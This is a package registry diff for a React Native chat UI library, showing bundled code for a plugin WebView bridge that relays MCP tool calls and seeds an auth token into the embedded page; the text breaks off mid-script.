@ateam-ai-mobile/ui 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +79 -22
- package/dist/index.d.ts +79 -22
- package/dist/index.js +2075 -1420
- package/dist/index.js.map +1 -1
- package/dist/index.mjs +2072 -1416
- package/dist/index.mjs.map +1 -1
- package/package.json +3 -3
- package/src/AdasChatScreen.tsx +4 -0
- package/src/TenantPicker.tsx +131 -0
- package/src/chat/UIActionsRow.tsx +11 -6
- package/src/index.ts +14 -0
- package/src/plugin/EmbeddedPluginWebView.tsx +16 -10
- package/src/plugin/Plugin.tsx +8 -3
- package/src/plugin/WidgetHost.tsx +81 -0
- package/src/providers.ts +17 -0
- package/src/voice/VoiceCallSheet.tsx +330 -0
- package/src/voice/useVoiceCall.ts +200 -0
package/dist/index.mjs
CHANGED
|
@@ -1,20 +1,20 @@
|
|
|
1
1
|
// src/AdasChatScreen.tsx
|
|
2
|
-
import { useCallback as
|
|
2
|
+
import { useCallback as useCallback5, useEffect as useEffect6, useMemo as useMemo3, useRef as useRef4, useState as useState6 } from "react";
|
|
3
3
|
import {
|
|
4
4
|
FlatList,
|
|
5
5
|
KeyboardAvoidingView,
|
|
6
|
-
Platform as
|
|
6
|
+
Platform as Platform6,
|
|
7
7
|
RefreshControl,
|
|
8
|
-
StyleSheet as
|
|
9
|
-
View as
|
|
8
|
+
StyleSheet as StyleSheet10,
|
|
9
|
+
View as View11
|
|
10
10
|
} from "react-native";
|
|
11
|
-
import { ada as
|
|
11
|
+
import { ada as ada7, useChatStore, pluginCommandEmitter as pluginCommandEmitter3 } from "@ateam-ai-mobile/core";
|
|
12
12
|
|
|
13
13
|
// src/chat/MessageBubble.tsx
|
|
14
|
-
import { useState as
|
|
15
|
-
import { View as
|
|
14
|
+
import { useState as useState4, useCallback as useCallback3 } from "react";
|
|
15
|
+
import { View as View7, Text as Text6, Pressable as Pressable3, StyleSheet as StyleSheet6, Image, Platform as Platform4 } from "react-native";
|
|
16
16
|
import Markdown from "react-native-markdown-display";
|
|
17
|
-
import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada as
|
|
17
|
+
import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig as getConfig2, ada as ada6, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
|
|
18
18
|
import { AdaOrb, getHaptics as getHaptics2 } from "@ateam-ai-mobile/plugin-runtime";
|
|
19
19
|
|
|
20
20
|
// src/chat/JobProgressBar.tsx
|
|
@@ -182,9 +182,9 @@ var styles = StyleSheet.create({
|
|
|
182
182
|
});
|
|
183
183
|
|
|
184
184
|
// src/chat/UIActionsRow.tsx
|
|
185
|
-
import { View as
|
|
186
|
-
import { ada as
|
|
187
|
-
import { useSurfaceStore, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
|
|
185
|
+
import { View as View5, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Platform as Platform2 } from "react-native";
|
|
186
|
+
import { ada as ada4, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
|
|
187
|
+
import { useSurfaceStore as useSurfaceStore2, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
|
|
188
188
|
|
|
189
189
|
// src/providers.ts
|
|
190
190
|
var _clipboard = null;
|
|
@@ -201,1503 +201,1562 @@ function setUIActionNavigator(navigate) {
|
|
|
201
201
|
function getUIActionNavigator() {
|
|
202
202
|
return _navigator;
|
|
203
203
|
}
|
|
204
|
+
var _extraHosts = null;
|
|
205
|
+
function setPluginWebViewExtraHosts(getter) {
|
|
206
|
+
_extraHosts = getter;
|
|
207
|
+
}
|
|
208
|
+
function getPluginWebViewExtraHosts() {
|
|
209
|
+
return _extraHosts;
|
|
210
|
+
}
|
|
204
211
|
|
|
205
|
-
// src/
|
|
206
|
-
import {
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
212
|
+
// src/plugin/WidgetHost.tsx
|
|
213
|
+
import { useEffect as useEffect4 } from "react";
|
|
214
|
+
import { create } from "zustand";
|
|
215
|
+
import { pluginCommandEmitter as pluginCommandEmitter2 } from "@ateam-ai-mobile/core";
|
|
216
|
+
import { useSurfaceStore } from "@ateam-ai-mobile/plugin-runtime";
|
|
217
|
+
|
|
218
|
+
// src/plugin/PluginSurface.tsx
|
|
219
|
+
import { useEffect as useEffect3, useState as useState3 } from "react";
|
|
220
|
+
import { View as View4, ActivityIndicator as ActivityIndicator3 } from "react-native";
|
|
221
|
+
import { ada as ada3 } from "@ateam-ai-mobile/core";
|
|
222
|
+
import {
|
|
223
|
+
getPlugin,
|
|
224
|
+
SurfaceDrawer,
|
|
225
|
+
SurfaceFullscreen
|
|
226
|
+
} from "@ateam-ai-mobile/plugin-runtime";
|
|
227
|
+
|
|
228
|
+
// src/plugin/Plugin.tsx
|
|
229
|
+
import React, { useMemo as useMemo2 } from "react";
|
|
230
|
+
import { View as View3, Text as Text3, Pressable, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet3 } from "react-native";
|
|
231
|
+
import { getTenant as getTenant3, getUser, colors } from "@ateam-ai-mobile/core";
|
|
232
|
+
import {
|
|
233
|
+
usePlugin,
|
|
234
|
+
useNativeBridge,
|
|
235
|
+
usePluginTheme,
|
|
236
|
+
getPluginNative,
|
|
237
|
+
gatePluginNative
|
|
238
|
+
} from "@ateam-ai-mobile/plugin-runtime";
|
|
239
|
+
|
|
240
|
+
// src/plugin/EmbeddedPluginWebView.tsx
|
|
241
|
+
import { useState as useState2, useMemo, useCallback as useCallback2 } from "react";
|
|
242
|
+
import { View as View2, Text as Text2, ActivityIndicator, StyleSheet as StyleSheet2, Platform } from "react-native";
|
|
243
|
+
import { WebView } from "react-native-webview";
|
|
244
|
+
import { getConfig, getCoreApiUrl, getVoiceApiUrl, getTenant as getTenant2, getToken, ada as ada2 } from "@ateam-ai-mobile/core";
|
|
245
|
+
import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
|
|
246
|
+
|
|
247
|
+
// src/plugin/usePluginBridge.ts
|
|
248
|
+
import { useCallback, useEffect as useEffect2, useRef as useRef2 } from "react";
|
|
249
|
+
import {
|
|
250
|
+
getTenant,
|
|
251
|
+
connectorCall,
|
|
252
|
+
mcpFetch,
|
|
253
|
+
mcpToolCall,
|
|
254
|
+
postCommandResult,
|
|
255
|
+
pluginCommandEmitter
|
|
256
|
+
} from "@ateam-ai-mobile/core";
|
|
257
|
+
function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
|
|
258
|
+
const webViewRef = useRef2(null);
|
|
259
|
+
const sendInit = useCallback(() => {
|
|
260
|
+
const msg = JSON.stringify({
|
|
261
|
+
source: "adas-host",
|
|
262
|
+
pluginId,
|
|
263
|
+
message: {
|
|
264
|
+
type: "init",
|
|
265
|
+
payload: {
|
|
266
|
+
tenant: getTenant(),
|
|
267
|
+
connectorId: connectorId || null,
|
|
268
|
+
mcpEndpoint: null,
|
|
269
|
+
slug: null,
|
|
270
|
+
skillSlug: null
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
});
|
|
274
|
+
webViewRef.current?.postMessage(msg);
|
|
275
|
+
}, [pluginId, connectorId]);
|
|
276
|
+
const sendToPlugin = useCallback(
|
|
277
|
+
(type, payload) => {
|
|
278
|
+
const msg = JSON.stringify({
|
|
279
|
+
source: "adas-host",
|
|
280
|
+
message: { type, payload }
|
|
281
|
+
});
|
|
282
|
+
webViewRef.current?.postMessage(msg);
|
|
283
|
+
},
|
|
284
|
+
[]
|
|
285
|
+
);
|
|
286
|
+
const dispatchToWebView = useCallback((cmd) => {
|
|
287
|
+
if (cmd.command === "__focus") return;
|
|
288
|
+
const msg = JSON.stringify({
|
|
289
|
+
source: "adas-host",
|
|
290
|
+
pluginId,
|
|
291
|
+
message: {
|
|
292
|
+
type: "plugin.command",
|
|
293
|
+
payload: {
|
|
294
|
+
command: cmd.command,
|
|
295
|
+
args: cmd.args,
|
|
296
|
+
correlationId: cmd.correlationId
|
|
297
|
+
}
|
|
298
|
+
}
|
|
299
|
+
});
|
|
300
|
+
webViewRef.current?.postMessage(msg);
|
|
301
|
+
}, [pluginId]);
|
|
302
|
+
useEffect2(() => {
|
|
303
|
+
const unsub = pluginCommandEmitter.on("plugin-command", (cmd) => {
|
|
304
|
+
if (cmd.pluginId !== pluginId) return;
|
|
305
|
+
dispatchToWebView(cmd);
|
|
306
|
+
});
|
|
307
|
+
return unsub;
|
|
308
|
+
}, [pluginId, dispatchToWebView]);
|
|
309
|
+
useEffect2(() => {
|
|
310
|
+
if (!commandBufferRef) return;
|
|
311
|
+
const timer = setTimeout(() => {
|
|
312
|
+
const buf = commandBufferRef.current;
|
|
313
|
+
const remaining = [];
|
|
314
|
+
for (const cmd of buf) {
|
|
315
|
+
if (cmd.pluginId === pluginId) {
|
|
316
|
+
dispatchToWebView(cmd);
|
|
317
|
+
} else {
|
|
318
|
+
remaining.push(cmd);
|
|
319
|
+
}
|
|
320
|
+
}
|
|
321
|
+
commandBufferRef.current = remaining;
|
|
322
|
+
}, 1e3);
|
|
323
|
+
return () => clearTimeout(timer);
|
|
324
|
+
}, [pluginId, commandBufferRef, dispatchToWebView]);
|
|
325
|
+
const handleMessage = useCallback(
|
|
326
|
+
async (event) => {
|
|
327
|
+
let data;
|
|
328
|
+
try {
|
|
329
|
+
data = JSON.parse(event.nativeEvent.data);
|
|
330
|
+
} catch {
|
|
331
|
+
return;
|
|
332
|
+
}
|
|
333
|
+
if (data.source !== "adas-plugin") return;
|
|
334
|
+
const action = data.message?.action || data.action;
|
|
335
|
+
const payload = data.message?.payload || data.payload;
|
|
336
|
+
const type = data.message?.type || data.type;
|
|
337
|
+
if (action === "mcp-fetch" && payload?.requestId) {
|
|
338
|
+
const { requestId, body } = payload;
|
|
234
339
|
try {
|
|
235
|
-
|
|
236
|
-
|
|
340
|
+
const result = await mcpFetch(body);
|
|
341
|
+
sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
|
|
342
|
+
} catch (err) {
|
|
343
|
+
console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
|
|
344
|
+
sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
|
|
237
345
|
}
|
|
346
|
+
return;
|
|
238
347
|
}
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
348
|
+
if (action === "mcp-call" && payload?.requestId) {
|
|
349
|
+
const { requestId, toolName, args: callArgs } = payload;
|
|
350
|
+
if (toolName) {
|
|
351
|
+
try {
|
|
352
|
+
const rpcResponse = await mcpToolCall(toolName, callArgs || {});
|
|
353
|
+
const result = rpcResponse?.result ?? rpcResponse;
|
|
354
|
+
sendToPlugin("mcp-result", { requestId, result, error: null });
|
|
355
|
+
} catch (err) {
|
|
356
|
+
sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
|
|
357
|
+
}
|
|
358
|
+
return;
|
|
359
|
+
}
|
|
360
|
+
const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
|
|
361
|
+
const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
|
|
362
|
+
const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
|
|
363
|
+
if (!cId || !tool) {
|
|
364
|
+
console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
|
|
365
|
+
sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
|
|
366
|
+
return;
|
|
367
|
+
}
|
|
368
|
+
try {
|
|
369
|
+
const data2 = await connectorCall(cId, tool, toolArgs);
|
|
370
|
+
if (data2.ok) {
|
|
371
|
+
sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
|
|
372
|
+
} else {
|
|
373
|
+
sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
|
|
374
|
+
}
|
|
375
|
+
} catch (err) {
|
|
376
|
+
sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
|
|
377
|
+
}
|
|
378
|
+
return;
|
|
379
|
+
}
|
|
380
|
+
if (action === "close") {
|
|
381
|
+
pluginCommandEmitter.emit("plugin-close", { pluginId });
|
|
382
|
+
return;
|
|
383
|
+
}
|
|
384
|
+
if (type === "plugin.command.result" && payload?.correlationId) {
|
|
385
|
+
const ws = wsRef?.current;
|
|
386
|
+
if (ws && ws.readyState === WebSocket.OPEN) {
|
|
387
|
+
try {
|
|
388
|
+
ws.send(JSON.stringify({
|
|
389
|
+
type: "plugin-command-result",
|
|
390
|
+
correlationId: payload.correlationId,
|
|
391
|
+
result: payload.result,
|
|
392
|
+
error: payload.error
|
|
393
|
+
}));
|
|
394
|
+
} catch (err) {
|
|
395
|
+
console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
|
|
396
|
+
await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
|
|
397
|
+
});
|
|
398
|
+
}
|
|
399
|
+
} else {
|
|
400
|
+
try {
|
|
401
|
+
await postCommandResult(payload.correlationId, payload.result, payload.error);
|
|
402
|
+
} catch (err) {
|
|
403
|
+
console.warn("[PluginBridge] Failed to send command result:", err.message);
|
|
404
|
+
}
|
|
405
|
+
}
|
|
406
|
+
return;
|
|
407
|
+
}
|
|
408
|
+
},
|
|
409
|
+
[sendToPlugin]
|
|
410
|
+
);
|
|
411
|
+
return {
|
|
412
|
+
webViewRef,
|
|
413
|
+
sendInit,
|
|
414
|
+
handleMessage
|
|
249
415
|
};
|
|
250
|
-
return /* @__PURE__ */ jsx2(View2, { style: styles2.row, children: actions.map((a, i) => {
|
|
251
|
-
const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
|
|
252
|
-
return /* @__PURE__ */ jsxs2(
|
|
253
|
-
Pressable,
|
|
254
|
-
{
|
|
255
|
-
accessibilityRole: "button",
|
|
256
|
-
accessibilityLabel: a.description || a.label,
|
|
257
|
-
onPress: () => handlePress(a),
|
|
258
|
-
style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
|
|
259
|
-
children: [
|
|
260
|
-
icon ? /* @__PURE__ */ jsx2(Text2, { style: styles2.icon, children: icon }) : null,
|
|
261
|
-
/* @__PURE__ */ jsx2(Text2, { style: styles2.label, numberOfLines: 1, children: a.label })
|
|
262
|
-
]
|
|
263
|
-
},
|
|
264
|
-
`${a.target || "a"}-${i}`
|
|
265
|
-
);
|
|
266
|
-
}) });
|
|
267
416
|
}
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
marginTop: 10
|
|
274
|
-
},
|
|
275
|
-
chip: {
|
|
276
|
-
flexDirection: "row",
|
|
277
|
-
alignItems: "center",
|
|
278
|
-
gap: 6,
|
|
279
|
-
paddingHorizontal: 12,
|
|
280
|
-
paddingVertical: 6,
|
|
281
|
-
backgroundColor: ada2.orangeSoft,
|
|
282
|
-
borderColor: ada2.orange,
|
|
283
|
-
borderWidth: 1,
|
|
284
|
-
borderRadius: 14
|
|
285
|
-
},
|
|
286
|
-
chipPressed: {
|
|
287
|
-
backgroundColor: ada2.orange
|
|
288
|
-
},
|
|
289
|
-
icon: {
|
|
290
|
-
fontSize: 12,
|
|
291
|
-
lineHeight: 14
|
|
292
|
-
},
|
|
293
|
-
label: {
|
|
294
|
-
color: ada2.orangeDeep,
|
|
295
|
-
fontSize: fontSize2.xs,
|
|
296
|
-
fontWeight: "600",
|
|
297
|
-
fontFamily: fontFam
|
|
417
|
+
function buildPluginBridgeJS(jwt, tenant) {
|
|
418
|
+
return `
|
|
419
|
+
(function() {
|
|
420
|
+
function _dbg(msg) {
|
|
421
|
+
console.log('[PluginBridge] ' + msg);
|
|
298
422
|
}
|
|
299
|
-
});
|
|
300
423
|
|
|
301
|
-
//
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
const cells = Array.isArray(row) ? row : [row];
|
|
311
|
-
const title = cells[0];
|
|
312
|
-
return /* @__PURE__ */ jsxs3(View3, { style: styles3.card, children: [
|
|
313
|
-
/* @__PURE__ */ jsx3(Text3, { style: styles3.title, children: String(title ?? "") }),
|
|
314
|
-
detailCols.length > 0 && /* @__PURE__ */ jsx3(View3, { style: styles3.details, children: detailCols.map((col, ci) => {
|
|
315
|
-
const value = cells[ci + 1];
|
|
316
|
-
if (value == null || value === "") return null;
|
|
317
|
-
return /* @__PURE__ */ jsxs3(View3, { style: styles3.row, children: [
|
|
318
|
-
/* @__PURE__ */ jsx3(Text3, { style: styles3.label, children: String(col) }),
|
|
319
|
-
/* @__PURE__ */ jsx3(Text3, { style: styles3.value, children: String(value) })
|
|
320
|
-
] }, ci);
|
|
321
|
-
}) })
|
|
322
|
-
] }, i);
|
|
323
|
-
}) });
|
|
324
|
-
}
|
|
325
|
-
var styles3 = StyleSheet3.create({
|
|
326
|
-
wrap: {
|
|
327
|
-
marginVertical: 6,
|
|
328
|
-
gap: 8
|
|
329
|
-
},
|
|
330
|
-
card: {
|
|
331
|
-
backgroundColor: ada3.paper,
|
|
332
|
-
borderRadius: borderRadius2.md,
|
|
333
|
-
borderWidth: 1,
|
|
334
|
-
borderColor: ada3.border,
|
|
335
|
-
padding: spacing.md
|
|
336
|
-
},
|
|
337
|
-
title: {
|
|
338
|
-
color: ada3.ink,
|
|
339
|
-
fontSize: fontSize3.md,
|
|
340
|
-
fontWeight: "600",
|
|
341
|
-
fontFamily: fontFam2,
|
|
342
|
-
letterSpacing: -0.2,
|
|
343
|
-
marginBottom: 6
|
|
344
|
-
},
|
|
345
|
-
details: {
|
|
346
|
-
gap: 4
|
|
347
|
-
},
|
|
348
|
-
row: {
|
|
349
|
-
flexDirection: "row",
|
|
350
|
-
alignItems: "flex-start",
|
|
351
|
-
gap: 8
|
|
352
|
-
},
|
|
353
|
-
label: {
|
|
354
|
-
color: ada3.inkMuted,
|
|
355
|
-
fontSize: fontSize3.xs,
|
|
356
|
-
fontFamily: fontFam2,
|
|
357
|
-
fontWeight: "500",
|
|
358
|
-
width: 84,
|
|
359
|
-
textTransform: "uppercase",
|
|
360
|
-
letterSpacing: 0.6,
|
|
361
|
-
paddingTop: 2
|
|
362
|
-
},
|
|
363
|
-
value: {
|
|
364
|
-
flex: 1,
|
|
365
|
-
color: ada3.inkSoft,
|
|
366
|
-
fontSize: fontSize3.sm,
|
|
367
|
-
fontFamily: fontFam2,
|
|
368
|
-
lineHeight: 18
|
|
369
|
-
}
|
|
370
|
-
});
|
|
424
|
+
// 1. Seed localStorage. JWT is required by web-shared plugin code
|
|
425
|
+
// (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
|
|
426
|
+
// lives in EmbeddedPluginWebView (originWhitelist +
|
|
427
|
+
// onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
|
|
428
|
+
try {
|
|
429
|
+
localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
|
|
430
|
+
localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
|
|
431
|
+
_dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
|
|
432
|
+
} catch(e) { _dbg('localStorage ERROR: ' + e.message); }
|
|
371
433
|
|
|
372
|
-
//
|
|
373
|
-
|
|
374
|
-
var
|
|
375
|
-
|
|
376
|
-
show: (uri) => set({ uri }),
|
|
377
|
-
hide: () => set({ uri: null })
|
|
378
|
-
}));
|
|
434
|
+
// 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
|
|
435
|
+
var _origFetch = window.fetch.bind(window);
|
|
436
|
+
var _mcpReqId = 0;
|
|
437
|
+
var _pendingMcp = {};
|
|
379
438
|
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
var
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
}
|
|
405
|
-
var separatorStyles = StyleSheet4.create({
|
|
406
|
-
container: {
|
|
407
|
-
alignItems: "center",
|
|
408
|
-
marginVertical: 14
|
|
409
|
-
},
|
|
410
|
-
pill: {
|
|
411
|
-
backgroundColor: ada4.paperSoft,
|
|
412
|
-
paddingHorizontal: 14,
|
|
413
|
-
paddingVertical: 5,
|
|
414
|
-
borderRadius: 999
|
|
415
|
-
},
|
|
416
|
-
text: {
|
|
417
|
-
fontSize: 12,
|
|
418
|
-
fontWeight: "600",
|
|
419
|
-
color: ada4.inkMuted,
|
|
420
|
-
letterSpacing: 0.4,
|
|
421
|
-
fontFamily: fontFam3
|
|
422
|
-
}
|
|
423
|
-
});
|
|
424
|
-
function MessageBubble({ message }) {
|
|
425
|
-
const isUser = message.role === "user";
|
|
426
|
-
const isSystem = message.role === "system";
|
|
427
|
-
const isNotification = !isUser && message.kind === "notification";
|
|
428
|
-
const [copied, setCopied] = useState2("");
|
|
429
|
-
const showCopied = useCallback((label) => {
|
|
430
|
-
setCopied(label);
|
|
431
|
-
getHaptics2()?.notification("success");
|
|
432
|
-
setTimeout(() => setCopied(""), 1500);
|
|
433
|
-
}, []);
|
|
434
|
-
const copyText = useCallback(async (text) => {
|
|
435
|
-
const clipboard = getClipboard();
|
|
436
|
-
if (!clipboard) return;
|
|
437
|
-
await clipboard.setString(text);
|
|
438
|
-
showCopied("Copied!");
|
|
439
|
-
}, [showCopied]);
|
|
440
|
-
const handleLongPress = useCallback(() => {
|
|
441
|
-
copyText(message.content);
|
|
442
|
-
}, [message.content, copyText]);
|
|
443
|
-
return /* @__PURE__ */ jsxs4(View4, { style: [styles4.row, isUser && styles4.rowUser], children: [
|
|
444
|
-
!isUser && !isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarOrb, children: /* @__PURE__ */ jsx4(
|
|
445
|
-
AdaOrb,
|
|
446
|
-
{
|
|
447
|
-
size: 28,
|
|
448
|
-
state: message.jobProgress?.status === "running" ? "thinking" : "idle"
|
|
449
|
-
}
|
|
450
|
-
) }),
|
|
451
|
-
isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.notificationLeftStripe }),
|
|
452
|
-
/* @__PURE__ */ jsxs4(
|
|
453
|
-
Pressable2,
|
|
454
|
-
{
|
|
455
|
-
accessibilityRole: "text",
|
|
456
|
-
accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
|
|
457
|
-
accessibilityHint: "Long-press to copy",
|
|
458
|
-
onLongPress: handleLongPress,
|
|
459
|
-
style: [
|
|
460
|
-
styles4.bubble,
|
|
461
|
-
isUser && styles4.bubbleUser,
|
|
462
|
-
isSystem && styles4.bubbleSystem,
|
|
463
|
-
isNotification && styles4.bubbleNotification
|
|
464
|
-
],
|
|
465
|
-
children: [
|
|
466
|
-
isNotification && /* @__PURE__ */ jsxs4(View4, { style: styles4.notificationHeader, children: [
|
|
467
|
-
/* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
|
|
468
|
-
/* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderText, children: "Notification" })
|
|
469
|
-
] }),
|
|
470
|
-
message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx4(View4, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx4(
|
|
471
|
-
Pressable2,
|
|
472
|
-
{
|
|
473
|
-
accessibilityRole: "imagebutton",
|
|
474
|
-
accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
|
|
475
|
-
onPress: () => useLightboxStore.getState().show(att.previewUri),
|
|
476
|
-
children: /* @__PURE__ */ jsx4(
|
|
477
|
-
Image,
|
|
478
|
-
{
|
|
479
|
-
source: {
|
|
480
|
-
uri: att.previewUri,
|
|
481
|
-
...att.previewUri.startsWith("http") ? {
|
|
482
|
-
headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` }
|
|
483
|
-
} : {}
|
|
484
|
-
},
|
|
485
|
-
style: styles4.attachmentImage,
|
|
486
|
-
resizeMode: "cover",
|
|
487
|
-
onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
|
|
488
|
-
}
|
|
489
|
-
)
|
|
490
|
-
},
|
|
491
|
-
i
|
|
492
|
-
) : /* @__PURE__ */ jsx4(View4, { style: styles4.attachmentFile, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
|
|
493
|
-
isUser ? (
|
|
494
|
-
// Hide the "See attachment" placeholder when the bubble already shows the photo.
|
|
495
|
-
message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx4(Text4, { selectable: true, style: styles4.userText, children: message.content }) : null
|
|
496
|
-
) : renderAssistantContent(message.content, copyText),
|
|
497
|
-
!!copied && /* @__PURE__ */ jsx4(View4, { style: styles4.copiedBadge, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.copiedText, children: copied }) }),
|
|
498
|
-
message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx4(ToolCallsBadge, { calls: message.toolCalls }),
|
|
499
|
-
message.jobProgress && /* @__PURE__ */ jsx4(JobProgressBar, { progress: message.jobProgress }),
|
|
500
|
-
!isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx4(UIActionsRow, { actions: message.actions }),
|
|
501
|
-
/* @__PURE__ */ jsx4(Text4, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
|
|
502
|
-
]
|
|
503
|
-
}
|
|
504
|
-
),
|
|
505
|
-
isUser && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarSpacer })
|
|
506
|
-
] });
|
|
507
|
-
}
|
|
508
|
-
function renderAssistantContent(content, copyText) {
|
|
509
|
-
if (!content) return null;
|
|
510
|
-
if (!content.includes(TABLE_BLOCK_OPEN)) {
|
|
511
|
-
return /* @__PURE__ */ jsx4(MarkdownBubble, { content, copyText });
|
|
512
|
-
}
|
|
513
|
-
const segments = [];
|
|
514
|
-
let cursor = 0;
|
|
515
|
-
while (cursor < content.length) {
|
|
516
|
-
const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
|
|
517
|
-
if (open === -1) {
|
|
518
|
-
segments.push({ kind: "md", content: content.slice(cursor) });
|
|
519
|
-
break;
|
|
520
|
-
}
|
|
521
|
-
if (open > cursor) {
|
|
522
|
-
segments.push({ kind: "md", content: content.slice(cursor, open) });
|
|
523
|
-
}
|
|
524
|
-
const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
|
|
525
|
-
if (close === -1) {
|
|
526
|
-
segments.push({ kind: "md", content: content.slice(open) });
|
|
527
|
-
break;
|
|
528
|
-
}
|
|
529
|
-
const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
|
|
530
|
-
segments.push({ kind: "table", content: payload });
|
|
531
|
-
cursor = close + TABLE_BLOCK_CLOSE.length;
|
|
532
|
-
}
|
|
533
|
-
return /* @__PURE__ */ jsx4(Fragment, { children: segments.map((seg, i) => {
|
|
534
|
-
if (seg.kind === "md") {
|
|
535
|
-
const trimmed = seg.content.trim();
|
|
536
|
-
if (!trimmed) return null;
|
|
537
|
-
return /* @__PURE__ */ jsx4(MarkdownBubble, { content: seg.content, copyText }, i);
|
|
439
|
+
window.fetch = function(url, opts) {
|
|
440
|
+
var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
|
|
441
|
+
var method = (opts && opts.method) || 'GET';
|
|
442
|
+
|
|
443
|
+
_dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
|
|
444
|
+
|
|
445
|
+
// Intercept /mcp calls
|
|
446
|
+
if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
|
|
447
|
+
_dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
|
|
448
|
+
return new Promise(function(resolve, reject) {
|
|
449
|
+
var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
|
|
450
|
+
_pendingMcp[requestId] = { resolve: resolve, reject: reject };
|
|
451
|
+
window.ReactNativeWebView.postMessage(JSON.stringify({
|
|
452
|
+
source: 'adas-plugin',
|
|
453
|
+
action: 'mcp-fetch',
|
|
454
|
+
payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
|
|
455
|
+
}));
|
|
456
|
+
setTimeout(function() {
|
|
457
|
+
if (_pendingMcp[requestId]) {
|
|
458
|
+
delete _pendingMcp[requestId];
|
|
459
|
+
